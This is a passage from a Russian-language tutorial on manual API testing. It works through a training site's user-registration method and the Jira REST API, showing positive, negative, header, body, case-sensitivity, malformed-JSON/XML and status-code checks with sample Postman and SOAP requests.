> И нужно, чтобы по сообщению об ошибке они поняли:
>
> — Что они сделали не так
>
> — Как это исправить
>
> Это нужно для того, чтобы уменьшить количество обращений в тех. поддержку.
>
> Так что проверьте сначала всякие извращения, а потом, пока разработчик чинит найденные баги, сидите со своими позитивными тестами и позитивными сценариями.
>
>
В целом, есть логика в его словах. Ну и плюс всё зависит от времени, если вам позитивные тесты погонять займет полчасика, то проще начать с них. А если там куча сценариев + обязательные автотесты часа на 4, то можно сначала погонять руками, выдать пачку замечаний и сидеть спокойно писать свои тесты.
Обсудите со своими разработчиками, как им будет удобнее — чтобы вы сначала потыкали “на слом” и прислали очевидные баги, или вдумчиво проверили всё и прислали результат одним файлом. Как им удобнее, так и делайте.
Но лично я всё же считаю, что как минимум основной сценарий позитивный проверить надо. И желательно пару ответвлений от него.
---
В каком порядке тестируем
-------------------------
### 1. Примеры в ТЗ
Самое простое, что можно сделать — дернуть пример из документации, чтобы посмотреть, как метод вообще работает. А потом уже писать обвязку в коде.
Это пойдут делать тестировщики, получив от вас новый функционал. И это же сделает разработчик интеграции / другой пользователь API.
Отсюда вытекают следующие выводы:
а) Примеры в документации должны быть! Причем желательно не один, а на каждый интересный кейс. Чтобы на него точно обратили внимание!
б) Примеры тестируем в первую очередь, потому что именно их дернут первыми. И потом будут делать по аналогии.
**Практика на примере Users**
В Users есть только один пример:
```
{
"email": "milli@mail.ru",
"name": " Машенька",
"password": "1"
}
```
Его и попробуем отправить!
* Тип запроса — POST
* URL — <http://users.bugred.ru/tasks/rest/doregister>
* Тело — из примера
Упс, ошибочка… Читаем её внимательно:
```
" email milli@mail.ru уже есть в базе"
```
В целом логично, раз метод создает нового пользователя, может быть ограничение уникальности. Смотрим в ТЗ, и правда:
> Имя и емейл должны быть уникальными
>
>
Значит, метод не идемпотентный… Нельзя просто взять пример из ТЗ и отправить не глядя.
> ***Справка***
>
> *Метод HTTP является идемпотентным, если повторный идентичный запрос, сделанный один или несколько раз подряд, имеет один и тот же эффект, не изменяющий состояние сервера. Корректно реализованные методы GET, HEAD, PUT и DELETE идемпотентны, но не метод POST. ©* [*developer.mozilla.org*](https://developer.mozilla.org/ru/docs/Glossary/Idempotent)
>
>
Нужно взять пример и отредактировать его так, чтобы данные стали уникальными. Можно от руки дописать несколько циферок:
```
{
"email": "milli5678@mail.ru",
"name": " Машенька5678",
"password": "1"
}
```
А можно использовать функционал Postman, который позволяет указать рандомные значения — [динамические переменные](https://learning.postman.com/docs/writing-scripts/script-references/variables-list/). Пожалуй, мне хватит $randomInt. Но так как я отправляю запрос в JSON-формате, то надо обернуть переменную в фигурные скобки, иначе постман считает её как простой текст:
```
{
"email": "milli{{$randomInt}}@mail.ru",
"name": " Машенька{{$randomInt}}",
"password": "1"
}
```
Сработало!
> **См также:** [Как понять, что мы отправляли, какую переменную?](https://okiseleva.blogspot.com/2022/11/postman.html)
>
>
Пример проверили, отлично. Он рабочий, но не идемпотентный, так что его нужно скорректировать под себя. Документация НЕ неправильная, запрос рабочий, если его прогонять на пустой базе в первый раз.
Однако пользователи бывают разные. Они вполне могут скопипастить пример, отправить его, получить ошибку и прибежать в поддержку ругаться, не читая сообщение об ошибке — у вас плохой пример, он не работает.
И чем больше у вас пользователей, тем больше таких вопросов будет. Заводить ли тут баг на правку документации? Можно предложить дописать в ТЗ как-то так:
> Запрос (для проверки запроса исправьте имя пользователя и email, чтобы они были уникальными): ...
>
>
То есть заранее подсказываем, что надо изменить, чтобы запрос сработал AS IS. Можно было бы и пример с рандомными переменными постмана дать, но тут надо понимать, что через постман его будут дергать тестировщики и аналитики со стороны заказчика.
Разработчики же должны написать код, используя ваш пример. А они тоже любят копипастить))) И если дать пример, заточенный под постман, то к вам снова придут с вопросом, почему ваш пример не работает, но уже в коде. И тут опять или писать около примера, что “$randomInt — переменная Postman, она тут для того-то”, или всё же примеры оставить в покое.
Я не вижу особой проблемы в текущем описании, это не повод ставить баг на документацию. Пример нормальный и рабочий. А если принесет головную боль поддержке, тогда и замените.
В нашей доке всего 1 пример. Если бы их было больше, надо было бы вызвать все. Именно на примерах пользователи учатся работать с системой. Дернули, получили такой же ответ, изучили его, осознали, запомнили =)
---
### 2. Основной позитивный сценарий
Чтобы настраивать интеграцию, разработчику той стороны нужен работающий сценарий. Самый основной, все ответвления можно отладить позже.
В идеале он берет этот сценарий из примера. Если примеров нет, будет дергать метод наобум, как он считает правильным. Знаете, как с новым девайсом — сначала попробовал сам, если не получилось, пошел читать инструкцию.
Тем не менее у разработчика есть основной позитивный сценарий его системы, его он и будет проверять. И тестировщик должен проверить его в первую очередь.
**Практика на примере Users**
А у нас есть пример, так что основной позитивный сценарий мы уже почти проверили!
Почему “почти”? Мы проверили, что система вернула в ответе «успешно создалась Машенька562», но точно ли она создалась? Может быть, разработчик сделал заглушку и пока метод в разработке, он всегда возвращает ответ в стиле “успешный успех”, ничего при этом не делая.
Так что идем и проверяем, есть ли наша Машенька в GUI — <http://users.bugred.ru/>. Ищем поиском — есть!
Проверяем все поля:
* Емейл правильный, какой мы отправляли.
* Автор «rest», что логично.
* Дата изменения — сегодня, что тоже правильно.
Значит, пользователь правда создан! Хотя постойте… Я же выполняла не метод CreateUser, а doRegister. Его основная цель — не создать карточку, а зарегистрировать пользователя в системе. Просто при регистрации карточка автоматом создается, поэтому её тоже зацепили проверкой.
А как проверить, что регистрация прошла успешно? Правильно, попробовать авторизоваться!
Нажимаем «Войти» и вводим наши данные: [milli754@mail.ru](mailto:milli754@mail.ru) / 1
Вошли! Ура, значит, регистрация правда сработала. Вот теперь мы закончили с основным позитивным сценарием.
---
### 3. Альтернативные сценарии
На самом деле если в ТЗ нет отдельно выделенного сценария использования, то можно объединить пункты “альтернативные сценарии” и “негативное тестирование”, потому что по факту после базового теста мы:
1. Читаем каждое предложение из ТЗ, «Особенности использования» или как этот раздел у вас называется
2. Продумываем, как его проверить: как позитивно, так и негативно.
Но давайте для чистоты эксперимента попробуем разнести эти пункты отдельно. Тогда в альтернативы попадают все дополнительные условия, которые накладываются на посылаемые или возвращаемые данные.
**Практика на примере Users**
Читаем особенности использования:
> Пользователь создается и появляется в системе.
>
>
Это мы уже проверили. Дальше:
> Автор у него всегда будет «SOAP / REST», изменять его можно только через соответствующий-метод.
>
>
Автора тоже проверили, но только вот в ТЗ он указан капсом, а по факту создается в нижнем регистре. Это уже небольшой баг, скорее всего документации, так как некритично и проще доку обновить. Сделали заметочку / сами исправили доку, если есть доступ.
А дальше видим, что изменять только только через соответствующий метод. Ага, то есть если создали через REST, менять можно тоже только через REST, через SOAP нельзя. И наоборот. Это и проверим.
Для начала под Машенькой в ГУИ посмотрим, есть ли возможность отредактировать собственную карточку — нету. Ок. Открываем в SOAP Ui WSDL проекта — <http://users.bugred.ru/tasks/soap/WrapperSoapServer.php?wsdl>, и смотрим, каким методом можно вносить изменения.
Нам вполне подойдет UpdateUserOneField, он обновляет одно любое поле пользователя. А как понять, какие поля есть? Покопаться в документации. В Users описаны не все методы, но есть описание [CreateUser](https://testbase.atlassian.net/wiki/spaces/USERS/pages/871924071/CreateUser), где можно взять названия полей. Допустим, хочу обновить кличку кошки — cat. Получается запрос:
```
milli754@mail.ru
cat
Еночка
```
Отправляем, хммммм:
```
Поле cat успешно изменено на Еночка у пользователя с email milli754@mail.ru
```
Проверяем в интерфейсе, находим карточку пользователя и жмем “Просмотр” *(прямую ссылку давать бесполезно, база дропается каждую ночь, тут только самому создать и посмотреть)*. Значение обновилось:
Значит, условие из ТЗ не выполнено, можно ставить баг!
А мы пока читаем дальше:
> Имя и емейл должны быть уникальными
>
>
Раз должны, то будет ошибка в случае неуникальности. А мы решили вынести тестирование негативных сценариев отдельно. Видите, решение тестировать альтернативы отдельно от негативного сразу оказалось не самым удобным — куда лучше просто читать ТЗ и каждый пункт проверять. Так хоть не запутаешься, что проверил, а что ещё нет… Однако в рамках статьи мы всё-таки рассмотрим негативные тесты отдельно.
Пока же смотрим дальше — а всё, кончилось ТЗ, метод то простенький. Тогда переходим к негативу!
---
### 4. Негативные сценарии
По факту это проверка сообщений об ошибках. Смотрим на метод и думаем, как его можно сломать? Сначала бизнесово, а потом API-шно…
С бизнесовой точки зрения очень удобно, когда все ошибки прописывают прямо в ТЗ. Получается руководство к действию! Это можно быть разделение на «Особенности использования» и «Исключительные ситуации», как в [Folks](https://testbase.atlassian.net/wiki/spaces/FOLKS/pages/845283331/Folks.search) (логин для входа [тут](http://okiseleva.blogspot.com/2017/07/jira-confluence.html)). Тогда тестируем блок «Исключительные ситуации».
Или вот описание [Jira Cloud REST API](https://developer.atlassian.com/cloud/jira/platform/rest/v3/intro/), выберем в левом навигационном меню какой-нибудь метод, например «Delete avatar». Там есть описание метода, а потом в блоке Responces переключалки между кодами ответов.
Ну так вот все желтые коды — это ошибки. Открываем каждую, читаем «Returned if» и выполняем это условие, очень удобно:
В общем, если есть отдельно про ошибки — класс, проверяем по ТЗ. А потом ещё думаем сами, что там могло быть пропущено.
Плюс проверяем логику ошибок в API, но о ней чуть позже. Сначала бизнес-логика, потом уже серебряная пуля типа well formed json.
**Практика на примере Users**
Ограничение в ТЗ:
> Имя и емейл должны быть уникальными
>
>
Для проверки нам надо сделать неуникальным:
1. имя
2. емейл
3. оба поля сразу
Можем взять за основу наш исходный запрос, который 1 раз создался:
```
{
"email": "milli754@mail.ru",
"name": " Машенька562",
"password": "1"
}
```
И варьируем его
1. Уникальный емейл, дубликат имени
```
{
"email": "milli{{$randomInt}}@mail.ru",
"name": " Машенька562",
"password": "1"
}
```
2. Уникальное имя, дубликат емейл
```
{
"email": "milli754@mail.ru",
"name": " Машенька{{$randomInt}}",
"password": "1"
}
```
3. Дубликаты сразу имени и емейл
```
{
"email": "milli754@mail.ru",
"name": " Машенька562",
"password": "1"
}
```
И смотрим на ответ. Понятно ли нам из сообщения об ошибке, что именно пошло не так? А статус-код соответствует типу ошибки?
---
### 5. Параметры запроса
На входе мы передаем какие-то параметры. И теперь нам нужно взять каждый параметр и проверить отдельно. Как проверяем:
1. Обязательность
2. Перестановка мест слагаемых
3. Бизнес-логика
Про первые 2 пункта мы поговорим чуть позже, сейчас сосредоточимся на бизнес-логике.
Вот у вас есть параметры запроса. Как их проверять? Если вы впали в ступор сейчас, то просто представьте себе, что это не API, а GUI. Что у вас в интерфейсе есть форма ввода с этими полями? Как будете тестировать? Вот ровно так и тестируйте, выкинув разве что попытку убрать ограничение на клиенте (снять с поля *maxlenght*).
**Практика на примере Users**
По ТЗ входные параметры:
| | | | |
| --- | --- | --- | --- |
| **Имя параметра** | **Тип** | **Обязательный?** | **Описание** |
| email | строка | да | email пользователя |
| name | строка | да | имя пользователя |
| password | строка | да | пароль |
Тестируем каждый параметр в отдельности. И тут, как и в GUI, надо понимать:
* Есть ли какие-то проверки у поля? Проверяется ли email по маске email-а? Имя выверяется по справочникам? Или это “просто строка, как прислали, так и сохранил?”
* Куда данные идут дальше, где отображаются? В приветствии, в отчете, в личном кабинете, где?
* Как они потом используются? На емейл придет письмо?
#### email
Вроде доп. проверок разработчик не делал, но точно я этого не знаю. Поле базовое, может есть прям во фреймворке какие-то проверки, или в интернете скопипастил… Так что тут стоит убедиться, что email корректный.
Можно взять за основу [вот этот чек-лист](http://akkaparallel.blogspot.com/2013/06/email.html), но часть проверок скомбинировать
1. Корректный существующий email, куда может прийти почта — подставляем свой (начинаем всегда с корректного)
2. Верхний регистр, цифры в имени пользователя и доменной части — [TEST77@mail9.ru](mailto:TEST77@mail9.ru)
3. Email с дефисами и нижним подчеркиванием — test\_user-1@mail\_test-1.com
4. Email с точками в имени пользователя и парой точек в доменной части — [test.user@test.test.test.ru](mailto:test.user@test.test.test.ru)
А дальше идут интересные тесты, которые по идее должны падать, но упадут ли в Users, есть ли там такие проверки?
1. Email без точек в доменной части — test@mailcom
2. Превышение длины email (>320 символов)
3. Отсутствие @ в email — testmail.ru
4. Email с пробелами в имени пользователя — test user@mail.ru
5. Email с пробелами в доменной части — test@ma il.ru
6. Email без имени пользователя — @mail.ru
7. Email без доменной части — test@
8. Некорректный домен первого уровня (допустимо 2-6 букв после точки: .ru) — test@mail.urururururu
Помним, что имя должно быть быть уникальным при этом, потому что негативные тесты мы не смешиваем, только если в этом состоит сам тест “а что, если несколько полей сразу плохие”. Так что пример запроса:
```
{
"email": "test@mailcom",
"name": " Машенька{{$randomInt}}",
"password": "1"
}
```
И сервер отвечает — некорректный емейл!
Так что проверки на емейл нужны, особенно — на некорректный.
#### name
Имя можно тестировать по разному. Если по нему определяется пол, тесты будут одни, если предлагаются подсказки, другие, а если это простая строка — третьи.
Так вот, в Users имя — это простая строка. Пол по ней не определяется, оно просто сохраняется в системе, разве что в правом верхнем углу отображается
Поэтому закапываться в “а теперь проверим мужское имя, и женское, и…” смысла нет.. Так что наша задача — проверить:
* Что это правда простая строка и туда влезет всё, что можно
* Максимальную длину изучить
Ну и начинаем с позитивного теста. Итого получаем:
1. Простое имя типа “Ольга”
2. Имя с разным регистром, разными буквами и спецсимволами (все спецсимволы можно перечислить) — если есть ограничение по длине, разобьем на разные тесты
3. 1 000 символов — ищем верхнюю границу, если она есть. Заодно смотрим, как это выглядит в интерфейсе и корректируем тест.
4. 1 000 000 символов — ищем технологическую границу
Обратите внимание на то, что мы вроде как тестируем API-метод, но после его выполнения лезем в графический интерфейс и проверяем, как там выглядит результат нашего запроса.
А всё почему? Потому что нет абстрактных методов, которые делают “ничего”, просто отправляются. Они все зачем-то нужны. В нашем случае — чтобы создать пользователя в системе. И важно понимать, а что будет потом с нашими данными? Будут ли они нормально отображаться в интерфейсе? Ведь если нет, то надо ставить ограничение на API-метод.
Поэтому помните, что API и GUI идут рука об руку, а не живут в разных мирах.
#### Password
На пароле тоже никаких ограничений нет — мы это знаем, потому что уже отправляли запрос с паролем “1”. Вот если бы были всякие “нужны заглавные буквы” и прочее, мы бы провели тесты “а если пароль ненадежный” и посмотрели на качество сообщения об ошибке, а так тесты будут как у имени:
1. Обычный пароль типа 1
2. Смесь из разных регистров, разных букв и спецсимволов — если есть ограничение по длине или составу, разобьем на разные тесты
3. 1 000 символов — ищем верхнюю границу, если она есть. Заодно смотрим, как это выглядит в интерфейсе и корректируем тест.
4. 1 000 000 символов — ищем технологическую границу
---
### 6. Остальные тесты
А дальше мы уже идем по специфике API:
* Перестановка мест слагаемых (заголовки, тело)
* Регистрозависимость (заголовки, тело)
* Well formed xml / json
На конкретных примерах мы остановимся подробнее в следующих разделах. Просто важно не забывать про эти тесты. Этим и отличается API от GUI — тут нельзя снять границу из серии “убрать maxlenght”, зато можно и нужно проверить особенности API запросов.
---
Что тестируем в запросе
-----------------------
### Заголовки (Headers)
Заголовки должны где-то обрабатываться:
— на сервере;
— на клиенте;
Иначе они не нужны, только лишний трафик гонять. Мы ведь передаем сообщение по сети, если интернет плохой, то каждый байт на счету. Зачем отправлять информацию, которую никто не использует?
Так что разработчики используют «**Принцип меньшего зла»:** заголовок или кем-то обрабатывается, или он вообще не нужен.
Если заголовка нет:
— используется дефолтный, прописанный в коде;
— он вообще не нужен;
> Язык должен указываться всегда, иначе непонятно, как вернуть ответ от сервера. Но разработчик может в код зашить русский язык, и тогда даже если вы передадите заголовок «Accept-Language: en-US», то ответ получите на русском.
>
> Почему? Потому что разработчик игнорирует этот заголовок, он его не считывает из запроса в принципе. Его право =)
>
>
**Возможные ситуации, которые надо проверить**
Заголовок не передан, как система реагирует:
— выдает ошибку → понятно ли, что мне надо сделать?
— применяет поведение по умолчанию (если язык не передан, используй русский)
Заголовок передан:
— верно
— неверно → какая ошибка?
Плюс регистрозависимость. Согласно спецификации, все заголовки должны быть регистронезависимы. И неважно, как я их передаю. Могу в CamelCase (первая буква большая, остальные мелкие), могу в верхнем регистре, причем как значение заголовка, так и его название, могу как-то ещё:
* Accept: application/json
* Accept: APPLICATION/JSON
* ACCEPT: application/json
* ACCEPT: APPLICATION/JSON
* ACcePT: APPlicATIon/JSon
Проверить эти варианты — очень важно. Потому что за регистронезависимость отвечает разработчик, сама по себе из воздуха она не появится. Он должен прописать это в коде.
Был случай у моих коллег — заголовок проверили, всё работает. Но проверили по доке, прислали значения «как указано». Вот Accept может быть (как передаются входные данные):
* application/json
* application/xml
А потом пользователи приходят и жалуются на ошибки «у вас плохой заголовок». При том, что заголовок они отправили правильный. Начали разбираться — запрос идет не напрямую на сервер, он проходит через прокси Nginx. А Nginx меняет заголовки на upper case: ACCEPT: APPLICATION/JSON.
Система к такому не готова, она ищет «Accept», не находит его и выдает ошибку. А переданный заголовок игнорирует. Так что проверять регистр — надо!
**Итого — тестирование заголовков в API**
* Заголовки из документации работают (в целом)
* А если какой-то не передать? (обязательность)
* А если передать, но неправильно? (текст ошибки)
* Позитивные тесты по доке
* Регистронезависимость заголовков
**Практика на примере Users**
В документации вообще ничего не сказано про заголовки. Поэтому проверяем, можно ли отправить сообщение без них. Идем на вкладку Headers и снимаем все галки, если они по каким-то причинам там стояли. Запрос сработал успешно:
Но обратите внимание, что в постмане есть ещё скрытые заголовки (hidden):
Это те заголовки, что генерирует сам постман. По сути постман — это клиент, помогающий нам отправить запрос на сервер. И у него есть какие-то свои фишечки, ограничения, заголовки опять же.
Можно нажать на это сообщение “(цифра) hidden” и раскрыть этот список (а потом всегда можно нажать на кнопку “hide hidden”:
Это некий стандарт, дефолтные значения по умолчанию. Тот же Cache-Control, раз вы его не передаете, по факту он вам не нужен, то есть как если бы вы указали “no-cache”.
Но учтите, что если снять тут все-все-все галки, система может выдать ошибку:
Плохо ли это? Стоит ли заводить баг “в документации сказано, что можно без заголовков, а так не работает” — нет. Для начала попробуйте отправить запрос через curl и посмотрите на результат.
Помните, что Postman — это всё-таки клиент, у которого есть свои навороты. Так что пусть он их накручивает сколько влезет, эти хидден-заголовки тестировать особо не надо. А вот послать хотя бы разок честный curl — надо!
Так что прячем hidden-заголовки и проверяем без них в этом пункте. Да, doregister без заголовков работает, всё ок.
---
### Тело запроса (body)
Что мы тут тестируем:
1. Правильное тело (пример)
2. Различные параметры (обязательность, работа параметров)
3. Бизнес-логика
4. Ошибки: бизнес-логика
5. Перестановка мест слагаемых
6. Регистрозависимость
7. Ошибки: не well formed xml / json
Пункты 1-4 мы уже обсудили выше. Идем по ТЗ и каждую строчку изучаем и проверяем.
*Перестановка мест слагаемых*
Это как раз особенность API, поэтому очень важно её проверить. Бизнес-логика и проверки “а что можно ввести в такое-то поле” одинаковы для GUI и API, а вот переставить поля местами в графическом интерфейсе не получится.
При этом в API это сделать проще простого. Мы ведь передаем пары “ключ-значение”. Что будет, если мы попробуем поменять их местами?
В идеале ничего не случится, потому что принимающая система должна из запрос цеплять информацию именно по названию ключа, а не делать “select \*” и потом говорить “для первого поля из запрос проверь то, для второго сделай это…”.
Ведь потом изменится входной запрос и у нас вся интеграция сломается! А это нехорошо… Так что смотрим как система реагирует на перестановки.
*Регистрозависимость*
Вы же помните о том, что регистронезависимость не появляется из воздуха? Её делает разработчик. Поэтому и проверить “как ведет себя система” — тоже надо. И в заголовках, и в теле, и в параметрах URL — вообще везде, где есть символы.
*Ошибки в ответе от сервера*
Всегда обязательно изучаем ошибки. Помимо ошибок в бизнес-логике есть ещё неправильно составленный запрос. То есть не well formed. Пробуем такой послать и смотрим на адекватность ошибки
> **См также:**
>
> [Правила Well Formed XML](https://okiseleva.blogspot.com/2021/04/well-formed-xml.html)
>
> [Правила Well Formed JSON](https://okiseleva.blogspot.com/2021/05/well-formed-json.html)
>
>
**Практика на примере Users**
По бизнес-логике мы уже прошли, теперь пойдем по API-части:
*1. Перестановка мест слагаемых*
В json пробуем перестановку:
```
{
"name": " Машенька{{$randomInt}}",
"email": "test{{$randomInt}}@mail.com",
"password": "1"
}
```
Ура, работает! А как насчет form-data? Тоже всё ок, это хорошо:
*2. Регистрозависимость*
Мы уже поняли, что в Users регистронезависимости может и не быть. Поэтому проверим на одном поле для начала. И не email, а то с ним может быть ложная уверенность в корректной ошибке:
```
{
"email": "test{{$randomInt}}@mail.com",
"NAME": " Машенька{{$randomInt}}",
"password": "1"
}
```
Запрос не сработал, увы: *"Параметр name является обязательным!"*
Названия ключей регистрозависимы. Это не очень хорошо, хотя и некритично. Такой баг разработчик может не захотеть исправлять, “пусть присылают по документации”. Ну что же, тогда единственным аргументом будет потом количество обращений в поддержку.
Но мы, по крайней мере, получили информацию по работе системы.
*3. Well formed*
У нас на входе json, смотрим его правила:
1. Данные написаны в виде пар «ключ:значение»
2. Данные разделены запятыми
3. Объект находится внутри фигурных скобок {}
4. Массив — внутри квадратных []
И пытаемся сломать. Вообще самая частая ошибка — это запятая после последней пары «ключ:значение». Мы обычно скопипастим строку из середины (вместе с запятой), поставим в конец объекта, а запятую удалить забудем. Получится как-то так:
```
{
"email": "test{{$randomInt}}@mailcom",
"name": " Машенька{{$randomInt}}",
"password": "1",
}
```
Отправляем такой запрос. М-м-м-м, ответ как-то не очень:
Это постман мне настойчиво подсвечивает красным лишнюю запятую, а если вызов идет из кода и там подсветки нет, то как понять, что пошло не так? Из текста сообщения об ошибке. Только вот из такого текста разработчик очень долго будет угадывать, что не понравилось системе… Нехорошо, стоит завести баг.
Попробуем другие способы сломать формат:
— не в виде пар “ключ:значение”
```
{
"email": "test{{$randomInt}}@mail.com",
"name": " Машенька{{$randomInt}}",
"password"
}
```
Ответ будет такой же — *"Параметр email является обязательным!"*
Заметьте, что если мы “сломаем” так email, будет ложное ощущение, что система работает хорошо и правильно дает подсказку. А на самом деле нет…
Так что если уже замечали странности раньше, проверяем на другом поле — на пароле, а не емейле. И видим, что ошибка непонятная.
— данные не разделены запятыми
```
{
"email": "test{{$randomInt}}@mail.com"
"name": " Машенька{{$randomInt}}"
"password": "1"
}
```
— объект в квадратных скобках, а не фигурных
```
[
"email": "test{{$randomInt}}@mail.com",
"name": " Машенька{{$randomInt}}",
"password": "1"
]
```
Ответ везде одинаковый — *"Параметр email является обязательным!"*
Не очень хорошо, в ожидаемый результат чек-листа проверок мы запишем что-то более «правильное» =)) Например, ошибка 400 и сообщение *"Не well formed json в запросе"*.
---
### URL
Там тоже могут быть параметры. Обычно это в методе GET делается, прямо в параметры URL зашивается какая-то информация. Например, идентификатор элемента, который мы хотим получить.
Тестируем точно также, как если бы параметр был в теле:
1. Правильный параметр (из примера)
2. Обязательность (что, если параметр не указать?)
3. Бизнес-логика (тест-дизайн)
4. Регистрозависимость (если параметр текстовый)
**Практика на примере JIRA**
Почему не на примере Users? А потому что в методе doRegister нет параметров, которые передаются в URL. Да и вообще в Users их нету, там даже get через POST сделан, но сейчас не об этом…
Поищем примеры в [Jira Cloud REST API](https://developer.atlassian.com/cloud/jira/platform/rest/v3/intro/). Например, метод «Get Issue», вот какой у него URL:
```
GET /rest/api/3/issue/{issueIdOrKey}
```
Мы передаем в URL или id задачи, или её ключ. Условно говоря, это или что-то типа “13005” или “TEST-1”.
И вот тут мы уже можем развернуться!
*Правильное значение*
Базовый позитивный тест, что метод в целом работает. Вызываем обязательно и так, и так:
* 13005
* TEST-1
*Обязательность*
Попробуем не передать параметр:
```
/rest/api/3/issue/
/rest/api/3/issue
```
*Тест-дизайн*
Тут стоит подумать в тему состояний объекта. Пробуем получить:
* Свежесозданную задачу
* Несколько раз измененную / отредактированную
* Заполненную по минимуму / по максимуму
* В разных статусах
* Закрытую
* Удаленную
* Не существующую (такого номера ещё нет — это отличается от “он есть в базе, но задача была закрыта”)
*Регистрозависимость*
При передаче issueId этот пункт не проверить, цифры сами по себе регистронезависимы. Но если мы передаем задачу через *Key*, то это уже символы. Значит, проверка актуальна:
```
/rest/api/3/issue/test-1
/rest/api/3/issue/TEst-1
```
---
### Тип метода
Что будет, если мы “подменим” тип запроса?
> POST → GET (совсем разные типы запросов)
>
> POST → PUT (похожие типы)
>
>
Как система отреагирует? Она может или отработать “словно так и надо”, или выдать ошибку. И тут следим за тем, чтобы ошибка была внятной и понятной.
А ещё может показаться, что игнорирование ошибок пользователя — это хорошо. Но далеко не всегда. Например, у меня был случай, когда на проекте обновили библиотеку и она стала намного жестче с ошибкам интеграции. Тут то и выяснилось, что запросы исходные системы присылали “кто во что горазд”.
Если бы система сразу падала, то на первичной интеграции пришлось бы поднапрячься побольше, зато дальнейшие переходы были бы бесшовными. А когда уже всё в продакшене, это будет стопить обновление релиза. Так что может, лучше заранее начать ловить за руку “ты мне какой-то треш” шлешь?
**Практика на примере Users**
Меняем в запросе тип метода с POST на GET — а ему всё равно, успешно!
Нельзя сказать, что это прям вау-поведение, но для Users это нормально =)
---
Что тестируем в ответе
----------------------
### Тело ответа
Чек-лист проверки:
1. Какие поля вернулись в ответе?
2. Значения в полях
3. Текст ошибок
Поля в ответе нужно:
* сравнить с ТЗ
* сравнить между собой SOAP \ REST
Если у нас есть ТЗ — то всё понятно. Читаем, как должно быть, проверяем, как есть на самом деле. Смотрим на то, что все поля из требований вернулись, и что в них правильное значение. А то вдруг я сохраняю имя “Оля”, а там всегда сохраняется “Тестовый”... Очень удобно сразу автотесты писать в том же постмане, если отдельного фреймворка нет — идем по ТЗ и каждое поле выверяем.
Если ТЗ нет, то уже сложнее. Ищем «хранителя информации», расспрашиваем, проверяем, как работает на самом деле. Думаем, есть ли проблемы в текущем поведении. Нет? Ок, значит, так и надо.
Если в ответе сообщение об ошибке, то внимательно его изучаем. В API это ещё важнее, чем просто в графическом интерфейсе. Поймет ли пользователь, что именно он сделал не так, где именно ошибся? Помните, плохое сообщение об ошибке приведет к тому, что вас будут дергать по пустякам, вырывая из контекста.
> **См также:**
>
> [Каким должно быть сообщение об ошибке](https://okiseleva.blogspot.com/2021/02/blog-post_27.html)
>
> [Сообщения об ошибках — тоже документация, тестируйте их!](http://okiseleva.blogspot.com/2015/06/blog-post_8.html)
>
>
Если у вас в системе два интерфейса — SOAP и REST, нужно проверить оба. Обычно они должны быть идентичны. Да и в коде это обеспечивается условно говоря двойной аннотацией “сделай и soap, и rest сгенери”, разработчик не дублирует всю функциональность дважды, а просто “включает” API.
В таком случае действительно всё будет работать идентично, кроме пустых полей в ответе. Что будет, если какое-то поле не заполнено? Может легко быть такая ситуация:
— SOAP возвращает пустые поля;
— REST нет.
Более того, это даже может быть нормально! Например, исходно писался только SOAP-интерфейс, и было правило возвращать все поля, даже пустые. Потом решили стать модными, молодежными, подключили REST. И решили там поля пустые не возвращать.
К тому же в SOAP всегда есть схема WSDL, где указаны обязательные поля. Значит, они будут возвращаться в ответе. В ресте же схема WADL необязательна, да и там любят придерживаться принципа минимальных чернил, лишнего не выводить.
В общем, проверьте обязательно, как методы срабатывают на:
* Отсутствие данных на входе (поле не пришло вообще / пришло пустое)
* Пустые поля на выходе
Если по разному, то это должно быть описано в доке!
**Практика на примере Users**
Сначала отправляем базовый запрос и там, и там, как в документации. Но уже по документации мы можем заметить, что набор поле в ответах разный. В SOAP перечислены все поля юзера, включая кличку кошечки, собачки итд… В REST же несколько базовых полей, и всё.
Как так вышло? Очень просто. Для реста набор полей согласовали, разработчик сделал. Потом я сказала, что хочу ещё и SOAP. А там нужна схема WSDL, разработчик с ней особо не парился. Есть сущность “user”? Ну её и вернем в ответе. А в сущности как раз много полей…
Мне не критично, так что менять не стали, да и вообще отличный пример «да, и так бывает» же! =))
Ок, давайте теперь посмотрим на особенности API, ведь всю бизнес-логику перетестировать в SOAP смысла нет, она должна совпадать… Ну разве что вы совсем не верите своим разработчикам… Или кейсы очень важные. А так — бизнес-логику смотрим один раз, а потом переходим в особенностям API.
*Перестановка мест слагаемых*
Поменяем местами name и email — ой ёй ёй!
Система пишет *«Некоректный email Имечко 666»*. Это значит, что она ориентируется не названия полей, передаваемые в тегах, а на их порядковых номер. И это ОЧЕНЬ ПЛОХО, на такое стоит идти ставить баг.
Тем более обоснование у нас есть — неединообразно работает. REST вот от перестановки не зависит, и SOAP не должен.
А ещё слово «Некоректный» написано неправильно, там должно быть две буквы “р”. Проверяем в REST, посылая заведомо плохой емейл — да, и там ошибка. Надо бы исправить. Текстовку ошибок вычитываем внимательно!
*Регистрозависимость*
Каждый тег регистрозависим сам по себе — открывающий и закрывающий должны совпадать по написанию, в том числе по регистру. Если это сломать, будет точно плохой запрос, но мы начнем с условно хорошего — оба тега в капс-локе:
```
ggg55555@mail.com
```
Работает!
А вот теперь попробуем разный регистр внутри тегов (в json такую проверку не сделать, это особенно XML, дублирование названия поля):
```
ggg55555@mail.com
```
Не работает — Bad Request. Чтож, вполне логично.
*Well formed XML*
Что, если сломать XML? Скажем, оставить закрывающий тег «/email» без второй угловой скобки:
```
ggg5555@mail.comИмечко 666
1
```
Возвращается ошибка
```
SOAP-ENV:Client
Bad Request
```
Не супер информативно, но в целом ясно, что мы где-то с запросом накосячили. И если такой текст именно на well formed, то и ладно. Тогда по нему будет сразу понятно, в чем именно проблема. Посмотрим дальше.
---
### Статус-коды
Разработчик может использовать [стандартные коды ответов](https://developer.mozilla.org/ru/docs/Web/HTTP/Status),
* 2хх — все хорошо
* 4хх — ошибка на клиенте (в запросе)
* 5хх — ошибка на сервере
А может придумать свои:
* 570 — пустой ответ на поиск;
* 571 — нашли одного ФЛ;
* 572 — нашли несколько ИП;
* 573 — нашли только ИП;
* …
Разработчик может даже перекрыть стандартные:
400 — Bad Request
↓
400 — Internal Server Error
Но так лучше не делать =))) Просто знайте, что возможность такая имеется.
Если разработчик ленивый и не настроил коды, то вы будете огребать на любую ошибку стандартный код: 400 Bad Request. Неверный заголовок? Ошибка 400. Неверное тело? Ошибка 400. Проблемы в бизнес-логике? Ошибка 400… Ну и как тут разобраться, что именно надо исправлять?
Или ещё “лучше”, разработчик может сказать “всегда возвращай код 200”. И это очень нехорошо, ведь именно по коду мы ориентируемся в первую очередь: всё хорошо или что-то плохо?
